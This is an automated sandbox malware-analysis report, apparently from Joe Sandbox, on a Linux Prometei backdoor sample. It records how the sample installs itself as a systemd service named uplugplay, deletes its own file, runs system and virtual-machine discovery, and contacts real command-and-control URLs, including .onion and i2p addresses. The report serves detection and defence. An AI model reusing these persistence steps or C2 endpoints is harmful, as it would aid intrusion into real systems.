Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/5037/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/5037/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1594/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/120/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/120/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/121/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/121/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1349/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/1/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/122/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/122/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/243/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/243/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/123/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/123/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/2/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	File opened: /proc/2/cmdline	Jump to behavior

Source: /usr/sbin/invoke-rc.d (PID: 5262)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-enabled cups.service	Jump to behavior
Source: /usr/sbin/invoke-rc.d (PID: 5266)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active cups.service	Jump to behavior
Source: /usr/lib/rsyslog/rsyslog-rotate (PID: 5270)	Systemctl executable: /usr/bin/systemctl -> systemctl kill -s HUP rsyslog.service	Jump to behavior
Source: /bin/sh (PID: 5307)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload	Jump to behavior
Source: /bin/sh (PID: 5324)	Systemctl executable: /usr/bin/systemctl -> systemctl enable uplugplay.service	Jump to behavior
Source: /bin/sh (PID: 5330)	Systemctl executable: /usr/bin/systemctl -> systemctl start uplugplay.service	Jump to behavior

Source: /tmp/wH04DSYf6g (PID: 5278)

File: /usr/sbin/uplugplay (bits: -v usr: x grp: x all: r)

Jump to behavior

Source: /usr/sbin/logrotate (PID: 5259)	Shell command executed: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "	Jump to behavior
Source: /usr/sbin/logrotate (PID: 5268)	Shell command executed: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog	Jump to behavior
Source: /tmp/wH04DSYf6g (PID: 5281)	Shell command executed: sh -c "pgrep wH04DSYf6g"	Jump to behavior
Source: /tmp/wH04DSYf6g (PID: 5286)	Shell command executed: sh -c "pidof wH04DSYf6g"	Jump to behavior
Source: /tmp/wH04DSYf6g (PID: 5290)	Shell command executed: sh -c "pgrep uplugplay"	Jump to behavior
Source: /tmp/wH04DSYf6g (PID: 5294)	Shell command executed: sh -c "pidof uplugplay"	Jump to behavior
Source: /tmp/wH04DSYf6g (PID: 5298)	Shell command executed: sh -c "pgrep upnpsetup"	Jump to behavior
Source: /tmp/wH04DSYf6g (PID: 5304)	Shell command executed: sh -c "pidof upnpsetup"	Jump to behavior
Source: /tmp/wH04DSYf6g (PID: 5306)	Shell command executed: sh -c "systemctl daemon-reload"	Jump to behavior
Source: /tmp/wH04DSYf6g (PID: 5313)	Shell command executed: sh -c "systemctl enable uplugplay.service"	Jump to behavior
Source: /tmp/wH04DSYf6g (PID: 5329)	Shell command executed: sh -c "systemctl start uplugplay.service"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5345)	Shell command executed: sh -c "/usr/sbin/uplugplay -Dcomsvc"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5402)	Shell command executed: sh -c "cat /proc/cpuinfo"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5408)	Shell command executed: sh -c "dmidecode --type baseboard"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5412)	Shell command executed: sh -c "dmidecode --type baseboard"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5416)	Shell command executed: sh -c "dmidecode --type baseboard"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5420)	Shell command executed: sh -c "dmidecode --type baseboard"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5424)	Shell command executed: sh -c "dmidecode --type baseboard"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5428)	Shell command executed: sh -c "dmidecode --type baseboard"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5432)	Shell command executed: sh -c dmidecode	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5436)	Shell command executed: sh -c "cat /etc/os-release"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5440)	Shell command executed: sh -c uptime	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5446)	Shell command executed: sh -c "uname -a"	Jump to behavior

Source: /bin/sh (PID: 5282)	Pgrep executable: /usr/bin/pgrep -> pgrep wH04DSYf6g	Jump to behavior
Source: /bin/sh (PID: 5291)	Pgrep executable: /usr/bin/pgrep -> pgrep uplugplay	Jump to behavior
Source: /bin/sh (PID: 5299)	Pgrep executable: /usr/bin/pgrep -> pgrep upnpsetup	Jump to behavior

Source: submitted sample

Stderr: Created symlink /etc/systemd/system/multi-user.target.wants/uplugplay.service /lib/systemd/system/uplugplay.service.: exit code = 0

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/wH04DSYf6g (PID: 5278)

File: /usr/sbin/uplugplay

Jump to dropped file

Sample deletes itself

Source: /tmp/wH04DSYf6g (PID: 5278)

File: /tmp/wH04DSYf6g

Jump to behavior

Source: /usr/bin/pgrep (PID: 5282)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pgrep (PID: 5291)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pgrep (PID: 5299)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5346)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/uptime (PID: 5441)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior

Source: /usr/bin/find (PID: 5257)	Queries kernel information via 'uname':	Jump to behavior
Source: /tmp/wH04DSYf6g (PID: 5278)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5334)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5346)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/uname (PID: 5447)	Queries kernel information via 'uname':	Jump to behavior

Source: /usr/sbin/logrotate (PID: 5195)	Truncated file: /var/log/cups/access_log.1			Jump to behavior
Source: /usr/sbin/logrotate (PID: 5195)	Truncated file: /var/log/syslog.1			Jump to behavior

Source: /usr/bin/cat (PID: 5405)

Reads CPU info from proc file: /proc/cpuinfo

Jump to behavior

Source: 5263.22.dr	Binary or memory string: -9915837702310A--gzvmware kernel module
Source: 5263.22.dr	Binary or memory string: -1116261022170A--gzQEMU User Emulator
Source: 5263.22.dr	Binary or memory string: qemu-or1k
Source: 5263.22.dr	Binary or memory string: qemu-riscv64
Source: 5263.22.dr	Binary or memory string: {cqemu
Source: 5263.22.dr	Binary or memory string: qemu-arm
Source: 5263.22.dr	Binary or memory string: (qemu
Source: 5263.22.dr	Binary or memory string: qemu-tilegx
Source: 5263.22.dr	Binary or memory string: qemu-hppa
Source: 5263.22.dr	Binary or memory string: q{rqemu%
Source: 5263.22.dr	Binary or memory string: )qemu
Source: 5263.22.dr	Binary or memory string: vmware-toolbox-cmd
Source: 5263.22.dr	Binary or memory string: qemu-ppc
Source: 5263.22.dr	Binary or memory string: Tqemu9
Source: 5263.22.dr	Binary or memory string: qemu-aarch64_be
Source: 5263.22.dr	Binary or memory string: 0qemu9
Source: 5263.22.dr	Binary or memory string: qemu-sparc64
Source: 5263.22.dr	Binary or memory string: qemu-mips64
Source: 5263.22.dr	Binary or memory string: vV:qemu9
Source: 5263.22.dr	Binary or memory string: qemu-ppc64le
Source: 5263.22.dr	Binary or memory string: <glib::param::uint64Glib::Param::UInt643pm315820097650A--gzWrapper for uint64 parameters in GLibx86_64-linux-gnu-ld.gold-1116112426130B--gzThe GNU ELF linkerprinter-profile-1115804162510A--gzProfile using X-Rite ColorMunki and Argyll CMSgrub-fstest-1116214898500A--gzdebug tool for GRUB filesystem driversxdg-user-dir-1115483406210A--gzFind an XDG user dirkmodsign-1115569251480A--gzKernel module signing toolsensible-editor-1115739932820A--gzsensible editing, paging, and web browsingminesMines6615854478170Cgnome-mines-gzinputattach-1115708189280A--gzattach a serial line to an input-layer devicegapplication-1116155671180A--gzD-Bus application launcherip-tunnel-8815816145190A--gztunnel configurationkoi8rxterm-1116140167530A--gzX terminal emulator for KOI8-R environmentsfoo2hiperc-wrapper-1115804162510A-tgzConvert Postscript into a HIPERC printer streamcryptsetup-reencrypt-8816002888050A--gztool for offline LUKS device re-encryptionsyndaemon-1115861716810A--gza program that monitors keyboard activity and disables the touchpad when the keyboard is being used.gslj-1115980290200B--gzFormat and print text for LaserJet printer using ghostscriptfile2brl-1115757179490A--gzTranslate an xml or a text file into an embosser-ready braille filexfdesktop-settings-1115793419820A--gzDesktop settings for Xfceua-1115856013570B--gzManage Ubuntu Advantage services from Canonicallatin4-7715812813670B--gzISO 8859-4 character set encoded in octal, decimal, and hexadecimalsane-genesys-5516003468200A--gzSANE backend for GL646, GL841, GL843, GL847 and GL124 based USB flatbed scannerspdftohtml-1115853266670A--gzprogram to convert PDF files into HTML, XML and PNG imagesbluetooth-sendto-1116015653360A--gzGTK application for transferring files over Bluetoothqemu-ppc64-1116261022170B--gzQEMU User Emulatorcache_metadata_size-8815811608350A--gzEstimate the size of the metadata device needed for a given configuration.net::dbus::exporterNet::DBus::Exporter3pm315773746310A--gzExport object methods and signals to the bussane-pint-5516003468200A--gzSANE backend for scanners that use the PINT device driverbpf-helpers7-7715812813670A--gzlist of eBPF helper functionsfull-4415812813670A--gzalways full devicelogin-1115906478670A--gzbegin session on the systemcups-snmp-8815877390340A--gzcups snmp backend (deprecated)ordchr-3am315728089600A--gzconvert characters to strings and vice versasosreport-1116092694050A--gzCollect and package diagnostic and support datatop-1115827827270A--gzdisplay Linux processesuri::_punycodeURI::_punycode3pm315811897880A--gzencodes Unicode string in Punycodettytty4tty1systemd-localed-8816268940210B--gzLocale bus mechanismlvmsadc-8815816289110
Source: 5263.22.dr	Binary or memory string: vmware
Source: 5263.22.dr	Binary or memory string: qemu-cris
Source: 5263.22.dr	Binary or memory string: libvmtools
Source: 5263.22.dr	Binary or memory string: qemu-m68k
Source: 5263.22.dr	Binary or memory string: qemu-xtensa
Source: 5263.22.dr	Binary or memory string: 9qemu
Source: 5263.22.dr	Binary or memory string: qemu-sh4
Source: 5263.22.dr	Binary or memory string: Dprezip-bin-1116269780060A--gzprefix zip delta word list compressor/decompressornameif-8815490444730A--gzname network interfaces based on MAC addressesxdg-user-dirs-update-1115483406210A--gzUpdate XDG user dir configurationip-link-8815816145190A--gznetwork device configurationhpsa-4415812813670A--gzHP Smart Array SCSI driverhd4-4415812813670A--gzMFM/IDE hard disk devicessane-canon630u-5516003468200A--gzSANE backend for the Canon 630u USB flatbed scannersg_copy_results-8815825816070A--gzsend SCSI RECEIVE COPY RESULTS command (XCOPY related)grub-macbless-8816214898500A--gzbless a mac file/directoryntfstruncate-8815568625640A-tgztruncate a file on an NTFS volumelessfile-1115936459130B--gz"input preprocessor" for less.sane-artec-5516003468200A--gzSANE backend for Artec flatbed scannersrmdir-1115676799200A--gzremove empty directoriessystemd-networkd-wait-online.service-8816268940210A--gzWait for network to come onlinemkfs.ntfs-8815568625640B-tgzcreate an NTFS file systemsg_inq-8815825816070A--gzissue SCSI INQUIRY command and/or decode its responseradattr.so-8815955079440Cpppd-radattr-gzc_rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valuestc-htb-8815816145190A--gzHierarchy Token Bucketgvfs-open-1115868766090A--gzsg_rbuf-8815825816070A--gzreads data using SCSI READ BUFFER commandglib-compile-schemas-1116155671180A--gzGSettings schema compileropenssl-srp-1ssl116164130370B--gzmaintain SRP password fileopenssl-rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valueslibvmtools-3315837702310A--gzvmware shared librarypasswd5-5515906478670A--gzthe password filenet::dbus::dumperNet::DBus::Dumper3pm315773746310A--gzStringify Net::DBus objects suitable for printingsane-hp4200-5516003468200A--gzSANE backend for Hewlett-Packard 4200 scannersposixoptions-7715812813670A--gzoptional parts of the POSIX standardnetworkmanager.confNetworkManager.conf5516002723180A--gzNetworkManager configuration fileownership-8815771238010A--gzCompaq ownership tag retrieveroakdecode-1115804162510A--gzDecode an OAKT printer stream into human readable form.gvfs-save-1115868766090A--gzmkfs.minix-8815953177680A--gzmake a Minix filesystemuri7-7715812813670A--gzuniform resource identifier (URI), including a URL or URNedit-1115714399500B--gzexecute programs via entries in the mailcap filegit-diff-files-1116148628880A--gzCompares files in the working tree and the index.ldaprc-5516136581350Cldap.conf-gzpactl-1116219586470A--gzControl a running PulseAudio sound servertempfile-1115756848240A--gzcreate a temporary file in a safe mannerhp-check-1115857238880A--gzDependency/Vers
Source: 5263.22.dr	Binary or memory string: .qemu{
Source: 5263.22.dr	Binary or memory string: qemu-ppc64abi32
Source: 5263.22.dr	Binary or memory string: qemu-ppc64
Source: 5263.22.dr	Binary or memory string: qemu-i386
Source: 5263.22.dr	Binary or memory string: qemu-x86_64
Source: 5263.22.dr	Binary or memory string: H~6\nqemu*q
Source: 5263.22.dr	Binary or memory string: @qemu
Source: 5263.22.dr	Binary or memory string: Fqqemu
Source: 5263.22.dr	Binary or memory string: N4qemu
Source: 5263.22.dr	Binary or memory string: ~6\nqemu*q
Source: 5263.22.dr	Binary or memory string: qemu-mips64el
Source: 5263.22.dr	Binary or memory string: hqemu
Source: 5263.22.dr	Binary or memory string: &mqemu
Source: 5263.22.dr	Binary or memory string: $qemu
Source: 5263.22.dr	Binary or memory string: qemu-sparc
Source: 5263.22.dr	Binary or memory string: qemu-microblaze
Source: 5263.22.dr	Binary or memory string: qemu-user
Source: 5263.22.dr	Binary or memory string: qemu-aarch64
Source: 5263.22.dr	Binary or memory string: qemu-sh4eb
Source: 5263.22.dr	Binary or memory string: iqemu
Source: 5263.22.dr	Binary or memory string: qemu-mipsel
Source: 5263.22.dr	Binary or memory string: qemuP`
Source: 5263.22.dr	Binary or memory string: qemu-alpha
Source: 5263.22.dr	Binary or memory string: qemu-microblazeel
Source: 5263.22.dr	Binary or memory string: \qemu
Source: 5263.22.dr	Binary or memory string: qemu-xtensaeb
Source: 5263.22.dr	Binary or memory string: qemu-mipsn32el
Source: 5263.22.dr	Binary or memory string: SAqemu
Source: 5263.22.dr	Binary or memory string: Vqemu
Source: 5263.22.dr	Binary or memory string: qemu-mipsn32
Source: 5263.22.dr	Binary or memory string: qemuAU
Source: 5263.22.dr	Binary or memory string: qemu-riscv32
Source: 5263.22.dr	Binary or memory string: qemu-sparc32plus
Source: 5263.22.dr	Binary or memory string: 7,qemu
Source: 5263.22.dr	Binary or memory string: qemu-s390x
Source: 5263.22.dr	Binary or memory string: vmware-checkvm
Source: 5263.22.dr	Binary or memory string: qemu-nios2
Source: 5263.22.dr	Binary or memory string: qemu-armeb
Source: 5263.22.dr	Binary or memory string: -4415868968400A--gzVMware SVGA video driver
Source: 5263.22.dr	Binary or memory string: 7xml::parser::style::streamXML::Parser::Style::Stream3pm315701248990A--gzStream style for XML::Parsersystemd-timedated-8816268940210B--gzTime and date bus mechanismxfce4-keyboard-settings-1115867081120A--gzKeyboard settings for Xfcepygettext2-1115841026830B--gzPython equivalent of xgettext(1)sudoedit-8816110660620B--gzexecute a command as another userintro7-7715812813670A--gzintroduction to overview and miscellany sectionsprof-1115812813670A--gzread and display shared object profiling datadhclient.conf-5516219398220A--gzDHCP client configuration filepam_group-8815953742440A--gzPAM module for group accesssystemd-ask-password-1116268940210A--gzQuery the user for a system passwordupdate-dictcommon-hunspell-8815422954860A--gzrebuild hunspell database and emacsen stuffqemu-nios2-1116261022170B--gzQEMU User Emulatorlwp::useragentLWP::UserAgent3pm315750405830A--gzWeb user agent classgpgcompose-1115838662460A--gzGenerate a stream of OpenPGP packetsecho-1115676799200A--gzdisplay a line of textio::socket::ssl::utilsIO::Socket::SSL::Utils3pm315817106800A--gz- loading, storing, creating certificates and keyscurl-1116268709580A--gztransfer a URLgetcap-8815819434600A--gzexamine file capabilitieszegrep-1115762517060B--gzsearch possibly compressed files for a regular expressiongrub-syslinux2cfg-1116214898500A--gztransform syslinux config into grub.cfgrtc-4415812813670A--gzreal-time clockglib::codegenGlib::CodeGen3pm315820097650A--gzcode generation utilities for Glib-based bindings.wpa_cli-8816146062790A--gzWPA command line clientiso_8859_3-7715812813670B--gzISO 8859-3 character set encoded in octal, decimal, and hexadecimaliso_8859-9-7715812813670A-tgzISO 8859-9 character set encoded in octal, decimal, and hexadecimallvextend-8815816289110A--gzAdd space to a logical volumeresolvectl-1116268940210A--gzResolve domain names, IPV4 and IPv6 addresses, DNS resource records, and services; introspect and reconfigure the DNS resolverchgrp-1115676799200A--gzchange group ownershipsystemd-cgls-1116268940210A--gzRecursively show control group contentspygettext3.8-1113852085880A--gzPython equivalent of xgettext(1)ping4-8815804258830B--gzsend ICMP ECHO_REQUEST to network hostsidmapwb-8816000845410A--gzwinbind ID mapping plugin for cifs-utilsapturl-gtk-8815799493830B--gzgraphical apt-protocol interpreting package installersane-epsonds-5516003468200A--gzSANE backend for EPSON ESC/I-2 scannersgvfs-monitor-file-1115868766090A--gzrstart-1115829564830A--gza sample implementation of a Remote Start clientgit-stage-1116148628880A--gzAdd file contents to the staging areatc-pedit-8815816145190A--gzgeneric packet editor actioniptables-save-881582899
Source: 5263.22.dr	Binary or memory string: I_qemu
Source: 5263.22.dr	Binary or memory string: -1116261022170B--gzQEMU User Emulator
Source: 5263.22.dr	Binary or memory string: -3315837702310A--gzvmware shared library
Source: 5263.22.dr	Binary or memory string: qemu-mips
Source: 5263.22.dr	Binary or memory string: qemuj\
Source: 5263.22.dr	Binary or memory string: {qemuQ&
Source: 5263.22.dr	Binary or memory string: Wgnome-text-editor-111629209547491759146B--gztext editor for the GNOME Desktopx11::protocol::connection::filehandleX11::Protocol::Connection::FileHandle3pm314314075500A--gzPerl module base class for FileHandle-based X11 connectionshtbHTB8815816145190Ctc-htb-gzcifscreds-1116000845410A--gzmanage NTLM credentials in kernel keyringiwconfig-8815490049440A--gzconfigure a wireless network interfaceossl_store-file-7ssl716164130370A--gzThe store 'file' scheme loadertc-stab-8815816145190A--gzGeneric size table manipulationsnotifier-7715877390340A--gzcups notification interfaceqemu-arm-1116261022170B--gzQEMU User EmulatorgemfileGemfile5516263767190Cgemfile2.7-gzglib::object::subclassGlib::Object::Subclass3pm315820097650A--gzregister a perl class as a GObject classnetcat-111612200165426646725B--gzarbitrary TCP and UDP connections and listensdpkg::changelog::parseDpkg::Changelog::Parse3perl315849439740A--gzgeneric changelog parser for dpkg-parsechangelogmpris-proxy-1116243432320A--gzBluetooth mpris-proxybundle-pristine2.7-1116263767190A--gzRestores installed gems to their pristine conditionfsck.ext3-8815816604980B--gzcheck a Linux ext2/ext3/ext4 file systemvolname-1115625752510A--gzreturn volume nameiso-8859-9-7715812813670B--gzISO 8859-9 character set encoded in octal, decimal, and hexadecimalheadhead1HEAD1psd-4415812813670A--gzdriver for SCSI disk driveschrt-1115953177680A--gzmanipulate the real-time attributes of a processvcs-4415812813670A--gzvirtual console memorygit-upload-archive-1116148628880A--gzSend archive back to git-archivenet::dbus::binding::message::errorNet::DBus::Binding::Message::Error3pm315773746310A--gza message encoding a method call errorpkcs11.conf-5516097870510A--gzConfiguration files for PKCS#11 modulessfill-1115227593860A--gzsecure free disk and inode space wiper (secure_deletion toolkit)ldattach-8815953177680A--gzattach a line discipline to a serial linethin_restore-8815811608350A--gzrestore thin provisioning metadata file to device or file.phar.phar7.4-1116254980150B--gzPHAR (PHP archive) command line toolbundle-outdated2.7-1116263767190A--gzList installed gems with newer versions availablemail::addressMail::Address3pm315640244160A--gzparse mail addressesopenssl-ca-1ssl116164130370B--gzsample minimal CA applicationchardet3-1115765858900A--gzuniversal character encoding detectorerb2.7-1116263767190A--gzRuby Templatingchktrust-1115826667350A--gzCheck the trust of a PE executable.sg_raw-8815825816070A--gzsend arbitrary SCSI command to a devicegvfs-trash-1115868766090A--gzintro1-1115812813670A--gzintroduction to user commandsmailcap-5515714399500A--gzmetamail capabilities filegigoloGigolo1gig
Source: 5263.22.dr	Binary or memory string: vmware-xferlogs

Source: /bin/sh (PID: 5447)

Uname executable: /usr/bin/uname -> uname -a

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	1 Systemd Service	1 Systemd Service	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File and Directory Permissions Modification	LSASS Memory	4 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Scripting	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Indicator Removal on Host	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	1 Proxy	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
wH04DSYf6g	18%	Virustotal		Browse
wH04DSYf6g	28%	ReversingLabs	Linux.Backdoor.Prometei

Dropped Files

Source	Detection	Scanner	Label	Link
/usr/sbin/uplugplay	28%	ReversingLabs	Linux.Backdoor.Prometei

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://p3.feefreepool.net/cgi-bin/prometei.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rg	0%	Avira URL Cloud	safe
http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi	0%	Avira URL Cloud	safe
http://p3.feefreepool.net/cgi-bin/prometei.cgi	0%	Avira URL Cloud	safe
https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi	0%	Avira URL Cloud	safe
http://dummy.zero/cgi-bin/prometei.cgi	0%	Avira URL Cloud	safe
http://p3.feefreepool.net/cgi-bin/prometei.cgi?r=16&i=3CL80UN6USPBIKPL	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
p3.feefreepool.net	88.198.246.242	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://p3.feefreepool.net/cgi-bin/prometei.cgi?r=16&i=3CL80UN6USPBIKPL	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://p3.feefreepool.net/cgi-bin/prometei.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rg	wH04DSYf6g, 5278.1.00000000a41ba199.00000000d55ef298.rw-.sdmp	true	Avira URL Cloud: safe	unknown
http://upx.sf.net	wH04DSYf6g, uplugplay.40.dr	false		high
http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi	wH04DSYf6g, 5278.1.00000000a41ba199.00000000d55ef298.rw-.sdmp	true	Avira URL Cloud: safe	unknown
http://p3.feefreepool.net/cgi-bin/prometei.cgi	wH04DSYf6g, 5278.1.00000000a41ba199.00000000d55ef298.rw-.sdmp	true	Avira URL Cloud: safe	unknown
https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi	wH04DSYf6g, 5278.1.00000000a41ba199.00000000d55ef298.rw-.sdmp	true	Avira URL Cloud: safe	unknown
http://dummy.zero/cgi-bin/prometei.cgi	wH04DSYf6g, 5278.1.00000000a41ba199.00000000d55ef298.rw-.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
88.198.246.242	p3.feefreepool.net	Germany	24940	HETZNER-ASDE	true
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
88.198.246.242	nRlZAbNdJx	Get hash	malicious	Browse	p3.feefreepool.net/cgi-bin/prometei.cgi?r=53&i=5HNN7ZK1006GY32G
	lHxDIlc6HU	Get hash	malicious	Browse	p3.feefreepool.net/cgi-bin/prometei.cgi?r=66&i=V9PV9LOR9Q54LN8Z
	PMidZ9jAKZ	Get hash	malicious	Browse	p3.feefreepool.net/cgi-bin/prometei.cgi?r=58&i=7B1B0KLF45MTZ528
	zsvc.exe	Get hash	malicious	Browse	p1.feefreepool.net/cgi-bin/prometei.cgi?r=-1224&i=90Z405GXDA2Q5271
	3V9alTXIli	Get hash	malicious	Browse	p1.feefreepool.net/cgi-bin/prometei.cgi?r=0&i=MKWJIGBKXJXI0948
	promet16	Get hash	malicious	Browse	p1.feefreepool.net/cgi-bin/prometei.cgi?r=0&i=0X81G723HYG17S60
	promet15	Get hash	malicious	Browse	p1.feefreepool.net/cgi-bin/prometei.cgi?r=18&i=6214X121I3A61W1S
	promet2	Get hash	malicious	Browse	p1.feefreepool.net/cgi-bin/prometei.cgi?r=18&i=MU2G1NCM0HDF3L2N
	EKbGofM1r6	Get hash	malicious	Browse	p1.feefreepool.net/cgi-bin/prometei.cgi?r=0&i=ENEP5O05YTLM46K2
109.202.202.202	nRlZAbNdJx	Get hash	malicious	Browse
	lHxDIlc6HU	Get hash	malicious	Browse
	PMidZ9jAKZ	Get hash	malicious	Browse
	atxhua	Get hash	malicious	Browse
	cemtop	Get hash	malicious	Browse
	earyzq	Get hash	malicious	Browse
	fwdfvf	Get hash	malicious	Browse
	lnkfmx	Get hash	malicious	Browse
	nvitpj	Get hash	malicious	Browse
	qtmzbn	Get hash	malicious	Browse
	qvmxvl	Get hash	malicious	Browse
	razdzn	Get hash	malicious	Browse
	vtyhat	Get hash	malicious	Browse
	vvglma	Get hash	malicious	Browse
	arc	Get hash	malicious	Browse
	arm	Get hash	malicious	Browse
	arm5	Get hash	malicious	Browse
	arm6	Get hash	malicious	Browse
	arm7	Get hash	malicious	Browse
	i586	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
p3.feefreepool.net	nRlZAbNdJx	Get hash	malicious	Browse	88.198.246.242
	lHxDIlc6HU	Get hash	malicious	Browse	88.198.246.242
	PMidZ9jAKZ	Get hash	malicious	Browse	88.198.246.242

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HETZNER-ASDE	66uB4YL3Vt.dll	Get hash	malicious	Browse	78.47.204.80
	GUYNlLUsvR.dll	Get hash	malicious	Browse	78.47.204.80
	F40PptOwCO.dll	Get hash	malicious	Browse	78.47.204.80
	nRlZAbNdJx	Get hash	malicious	Browse	88.198.246.242
	34jU7VJQ0a	Get hash	malicious	Browse	95.217.66.132
	F40PptOwCO.dll	Get hash	malicious	Browse	78.47.204.80
	lHxDIlc6HU	Get hash	malicious	Browse	88.198.246.242
	PMidZ9jAKZ	Get hash	malicious	Browse	88.198.246.242
	FedEx Package.exe	Get hash	malicious	Browse	144.76.136.153
